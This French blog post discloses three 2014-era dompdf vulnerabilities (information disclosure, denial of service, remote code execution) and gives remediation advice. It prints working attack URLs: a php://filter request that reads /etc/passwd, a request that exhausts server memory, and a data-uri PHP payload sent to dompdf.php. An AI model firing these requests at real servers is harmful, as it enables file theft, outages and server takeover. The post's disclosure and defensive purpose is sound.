Accueil / Blog / Métier / 2016 / Sécurité web: Détail de failles de sécurité dompdf

Sécurité web: Détail de failles de sécurité dompdf

Par Régis Leroy — publié 19/12/2016, édité le 20/12/2016
Détail des 3 vulnérabilités dompdf de décembre 2015, dont une RCE (Remote Command Execution)

Version française (English version available at regilero's blog). temps de lecture estimé : 5min

Dompdf ?

Si vous ne connaissez pas DomPDF, c'est une intéressante librairie PHP de rendu de PDF. Je le pense sérieusement, pour toute personne ayant déjà eu affaire à d'autres outils de convertisseurs HTML vers PDF, celle-ci est plutôt sympathique, et le rendu visuel est souvent bluffant.

Maintenant, cette bibliothèque faisait une chose qu'on pourrait qualifier de grosse erreur, pour une bibliothèque, et ce depuis des années, en fournissant une jolie interface graphique, directement stockée dans le code de la bibliothèque. Depuis cette interface graphique vous pouviez vérifier vos réglages, tester les outils fournis, etc.

Cela ressemble plutôt à une bonne idée, et en terme de marketing pur (ciblé vers les développeurs et intégrateurs), c'est un utilitaire puissant.

Mais par le passé ceci a amené quelques failles de sécurité, comme ce CVE-2014-2383 "Information disclosure, arbitrary file read", soit en français "Fuite d'informations, Lecture arbitraire de fichiers".

Dans ce post je vais détailler 3 nouvelles CVE (failles), découvertes à la suite de la précédente, rapportée au projet en juin 2014, et fixées dans la version 0.6.2 en décembre 2015 (donc, quasiment 2016).

Notez que la branche 0.7 n'est pas impactée. Notez aussi que l'année sur les CVEs est 2014, mais tout ce qui a pu être téléchargé avant fin décembre 2015 était presque certainement impacté.

  • CVE-2014-5011 : Information Disclosure (Fuite d'information)
  • CVE-2014-5012 : DOS (Déni de service)
  • CVE-2014-5013 : RCE (exécution de code à distance), qui est un complément de CVE-2014-2383

fixé en 0.6.2 ?

Si vous regardez la page de RELEASES du projet, et que vous téléchargez les versions 0.6.0, 0.6.1 et 0.6.2, pour vérifier les différences, vous perdrez une partie de l'histoire réelle.

La version 0.6.1 a été fixée dans github après sa diffusion initiale.

Vous pouvez avoir une version 0.6.1 qui diffère de celle actuellement disponible si vous l'avez téléchargé avant fin décembre 2015.

La faille RCE a été enlevée de la version 0.6.1 mais était bien présente dans des versions précédentes de la 0.6.1.

CVE-2014-5011 : Fuite d'informations

Cette faille est la plus simple.

La bibliothèque a pendant longtemps diffusé un répertoire www, avec quelques fichiers PHP à l'intérieur.

La plupart des installations PHP exécutent tous les fichiers PHP situés dans l'arborescence du document root (racine web). Remarquez qu'une bonne pratique en terme de sécurité est de restreindre l’exécution PHP au bootstrapper, et uniquement au bootstrapper -- index.php --, si possible, et si votre application est moderne vous le pouvez certainement, sauf si c'est un Drupal 8, parce que, parce que, je ne sais pas pourquoi ils continuent à mettre toutes ces bibliothèques et toutes ces sources PHP dans la racine web, mon dieu, aidez moi à mettre fin à cette parenthèse).

Donc, vous avez ce dossier, avec pleins de scripts PHP. Et l'un de ces scripts est www/setup.php.

Ce script est la définition même d'une fuite d'informations, avec les vraies versions et les vrais chemins affichés sur une page publique :

gimme some data

Regardez certains de ces paramètres :

oyeah, gimme more

Différents fixs ont été appliqués sur cette faille, la plupart restreignent l'accès du setup et de quelques autres pages à un accès depuis localhost uniquement, pour que ces pages ne soient plus indexées par google, et pour qu'aucun hacker ne puisse s'en servir pour examiner le niveau de sécurité de votre application aussi facilement.

D'autres fuites d'informations étaient disponibles sur www/debugger.php et www/fonts.php.

Nous verrons ci-dessous qu'avec la faille RCE cette fuite est un vrai gros problème si certains paramètres ne sont pas à la bonne valeur.

CVE-2014-5012 : Déni de Service

La bibliothèque fournit un exemple d'implémentation, utilisé dans les écrans de l'interface graphique, notamment sur la page de démonstration.

Ce script est dompdf.php.

Vous pouvez l'essayer sur quelques exemples très lourds, comme le rendu utf-8 complet.

Cela donne un script public coûteux, mais pas assez pour un vrai vecteur de DOS.

Un vrai appel-pas-joli-du-tout est de requêter le rendu du fichier de configuration de dompdf (J'ai d'abord tenté ce truc pour voir si je pouvais obtenir un rendu PDF des settings de la bibliothèque) :

dompdf/dompdf.php?base_path=&options[Attachment]=0&input_file=dompdf_config.inc.php

Quelque chose se passe mal pendant que dompdf essaye de rendre ce fichier, et le script ne termine jamais sa tâche (pas avant d'avoir atteint le seuil de mémoire maximum autorisé pour PHP).

C'est un bien meilleur vecteur de Déni de service.

Et maintenant, une exécution de commande à distance ...

Retour sur l'ancienne CVE-2014-2383

Cette précédente CVE CVE-2014-2383 (qui n'est pas de moi) était disponible sur la version 0.6.0 (une version qui commence à être très vieille).

L'attaque utilisait php://filter pour extraire n'importe quel fichier lisible par PHP sur le serveur (open_basedir apporte une limitation à la liste des fichiers attaquables, et retrouver les chemins réels des fichiers ciblés n'est pas toujours aisé, mais reportez-vous à la fuite d'information pour un accès complet aux chemins et à la valeur de open_basedir).

L'attaque utilisait aussi le fichier dompdf.php file, présent dans la bibliothèque, qui est nécessaire pour les démonstrations de l'interface graphique, mais qui est en fait complètement inutile pour la plupart des intégrations de dompdf (cela signifie que l'un des moyens les plus simples pour se protéger du déni de service et du RCE consiste à supprimer ce fichier).

Disons par exemple que vous voulez lire le fichier /etc/passwd vous pouvez essayer quelque chose comme /dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/etc/passwd et le résultat, dans un document PDF, est ce fichier, simplement encodé en base64 (utilisez un decodeur base64 et vous avez le contenu du fichier). Le trick php://filter+base64 est la nouvelle façon de faire des failles d'inclusion de fichiers avec le PHP moderne.

Ce bug fut corrigé en version 0.6.1.

Le support du filter php:// a été retiré.

CVE-2014-5013 RCE : exploiter les data uri au lieu de php:// filter

Une RCE, ou exécution de code à distance, est une très mauvaise faille. Cela signifie que l'attaquant peut faire tourner son propre code PHP sur votre serveur. Partant de là vous pouvez faire un grand nombre de choses.

Avant de donner les détails, quelques contre-mesures.

  • N'autorisez pas DOMPDF_ENABLE_PHP : C'est le réglage par défaut, il est interdit par défaut, si jamais vous l'avez autorisé re-interdisez le, dès maintenant. Ce réglage par défaut du paramètre vous protégeait déjà de l'attaque précédente sur le filtre php://.
  • N'autorisez pas DOMPDF_ENABLE_REMOTE : même chose, la valeur par dé"faut est false, si vous avez mis true enlevez-le, dès maintenant, ou bien mettez à jour dompdf à une version 0.6.2 ou supérieure.

Remarquez que la faille de fuite d'information révélera ces réglages à tout le monde, même à google.

Commençons par regarder ces réglages étranges, qu'il ne faut pas activer, depuis el fichier de configuration :

/**
* Enable inline PHP
*
* If this setting is set to true then DOMPDF will automatically evaluate
* inline PHP contained within <script type="text/php"> ... </script> tags.
*
* Attention!
* Enabling this for documents you do not trust (e.g. arbitrary remote html
* pages) is a security risk. Inline scripts are run with the same level of
* system access available to dompdf. Set this option to false (recommended)
* if you wish to process untrusted documents.
*
* @var bool
*/
def("DOMPDF_ENABLE_PHP", false);

/**
 * Enable remote file access
 *
 * If this setting is set to true, DOMPDF will access remote sites for
 * images and CSS files as required.
 * This is required for part of test case www/test/image_variants.html through     www/examples.php
 *
 * Attention!
 * This can be a security risk, in particular in combination with DOMPDF_ENABLE_PHP and
 * allowing remote access to dompdf.php or on allowing remote html code to be passed to
 * $dompdf = new DOMPDF(); $dompdf->load_html(...);
 * This allows anonymous users to download legally doubtful internet content which on
 * tracing back appears to being downloaded by your server, or allows malicious php code
 * in remote html pages to be executed by your server with your account privileges.
 *
 * @var bool
 */
def("DOMPDF_ENABLE_REMOTE", false);

En lisant cela je me demandais pourquoi des gens activeraient ces réglages ? En fait le enable_remote est le moyen le plus simple d'avoir des images dans le PDF, si vous utilisez un domaine absolu dans l'uri des images vous aurez besoin de cette option pour que dompdf télécharge les images et les rende dans le document final.

La partie enable_php est la pire, cela permet de définir des tâches spécifique au rendu PDF dans un script PHP, en utilisant un template HTML. Avec quelques variables fournies par dompdf comme $pdf, $PAGE_NUM et $PAGE_COUNT. La nouvelle version utilise du markup CSS pour ce type de tâches.

Utiliser un eval PHP pour faire tourner ce type de tâches était une mauvaise idée. cela entraîne un vrai appel à eval() dans le code, que nous allons exploiter.

Le script dompdf.php peut rendre' un PDF, le paramètre input_file peut être un fichier, mais aussi un protocole. Tout ce qui est détecté comme protocole distant ne sera disponible qu'avec l'option enable_remote.

La faille de sécurité précédente utilisait le protocole php://, qui a dès lors été filtré.

Le protocole data:// n'est pas bloqué et est parfois utilisé pour attacher des images dans le PDF, en donnant l'image complètement encodée dans un paramètre data-uri.

La vieille astuce pour les images dompdf était d'utiliser des sources HTML sous cette forme :

<img src="data:image/jpeg;base64,ICI_DES_CHOSES_BINAIRES_ENCODEES_EN_BASE64">

Utiliser data pour attacher des images est un joli hack, si vous n'avez jamais vu des images en data-uri regardez les sources des pages 404 de github, par exemple.

Mais le protocole data-uri n'est pas limité au support des images. Il peut embarquer n'improte quel document mime. Un script PHP par exemple est un document avec un type mimeapplication/x-httpd-php (et vous pouvez aussi essayer des types XML pour les failles XXE).

Imaginons que j'ai ce petit script PHP :

<?php
echo 'PHP RCE : ' . phpversion();
echo "bye";
?>

Notez que je pourrais faire d'autres choses en PHP, c'est juste un exemple.

Dans une source data-uri ce même script PHP peut s'écrire ainsi (l'encodage base64 n'est qu'une façon de réécrire un contenu en ascii-7) :

data:application/x-httpd-php;charset=utf-8;base64,PD9waHANCmVjaG8gJ1BIUCBSQ0UgOiAnIC4gcGhwdmVyc2lvbigpOw0KZWNobyAiYnllIjsNCj8+

Avec un peu d'encodage d'url (parce que nous allons utiliser ceci dans une url) cela donne :

data%3Aapplication%2Fx-httpd-php%3Bcharset%3Dutf-8%3Bbase64%2CPD9waHANCmVjaG8gJ1BIUCBSQ0UgOiAnIC4gcGhwdmVyc2lvbigpOw0KZWNobyAiYnllIjsNCj8%2B

Et l'attaque finale est :

http://<target>/<path>/dompdf/dompdf.php?base_path=&options[Attachment]=0&input_file=data%3Aapplication%2Fx-httpd-php%3Bcharset%3Dutf-8%3Bbase64%2CPD9waHANCmluY2x1ZGUgKCcvZXRjL3Bhc3N3ZCcpOw0KZWNobyAiYnllIjsNCj8%2B

Si les réglages par défaut de DOMPDF_ENABLE_PHP et DOMPDF_ENABLE_REMOTE ont été altérés (à true) cette attaque va effectivement rendre ce script PHP dans le eval() et ramener la sortie standard de ce script dans un document PDF (effet qui peut n'être qu'accessoire). Ceci peut être utilisé pour une inclusion local ou distante, mais aussi pour éditer ou créer des fichiers PHP, faire tourner des scripts shell, etc. En réalité ce type de faille serait très certainement utilisé pour brancher votre serveur dans un réseau botnet, comme un esclave à la demande.

Pour conclure

  • Évitez d'utiliser eval() dans votre code web
  • Évitez l'ajout de démonstrations dans vos bibliothèques, ou bien assurez vous qu'elles ne soient jamais utilisables en production
  • Mettez à jour votre installation dompdf. La version 0.7 est une révolution , il peut donc être difficile de migrer automatiquement à cette version, mais bouger une version 0.6.0 ou 0.6.1 vers une version 0.6.2 devrait se faire assez facilement, si cela casse quelque chose remettez la version précédente et regardez les point suivant
  • Si vous utilisez dompdf dans un CMS, vous pouvez sans risques retirer le sous-dossier www et le fichier dompdf.php file dans cette bibliothèque, renommez les si vous ne me faites pas confiance, le CMS utilise presque certainement les classes de la librairies et pas les démonstrations de code et ce runner de démonstration
  • Si vous avez activé les deux paramètres dangereux désactivez les, quitte à casser quelque chose (choisissez entre casser une fonctionnalité et donner votre serveur à des spammeurs)
  • Si vous utilisez une application PHP moderne, s'il vous plaît, mettez les librairies PHP en dehors de la racine web
ABONNEZ-VOUS À LA NEWSLETTER !
Voir aussi
Gérer ses dépendances Drupal 7 avec Composer Gérer ses dépendances Drupal 7 avec Composer 08/12/2016

Drupal.org distribue maintenant les modules et thèmes dans son propre dépôt Packagist, voyons ...

Attaques informatiques janvier 2015 15/01/2015

Qu'en attendre et comment réagir

Design d'API pour app mobile Design d'API pour app mobile 04/04/2016

Recette d'une API qui rend happy.

Exercice de lecture de code malveillant 03/02/2015

Voici un extrait de code malveillant retrouvé sur un serveur "piraté". Ce type de code permet à ...

Python async/await: introduction 10/07/2015

Python 3.5 is coming up soon with async and await built-in keywords. Let's get excited with a ...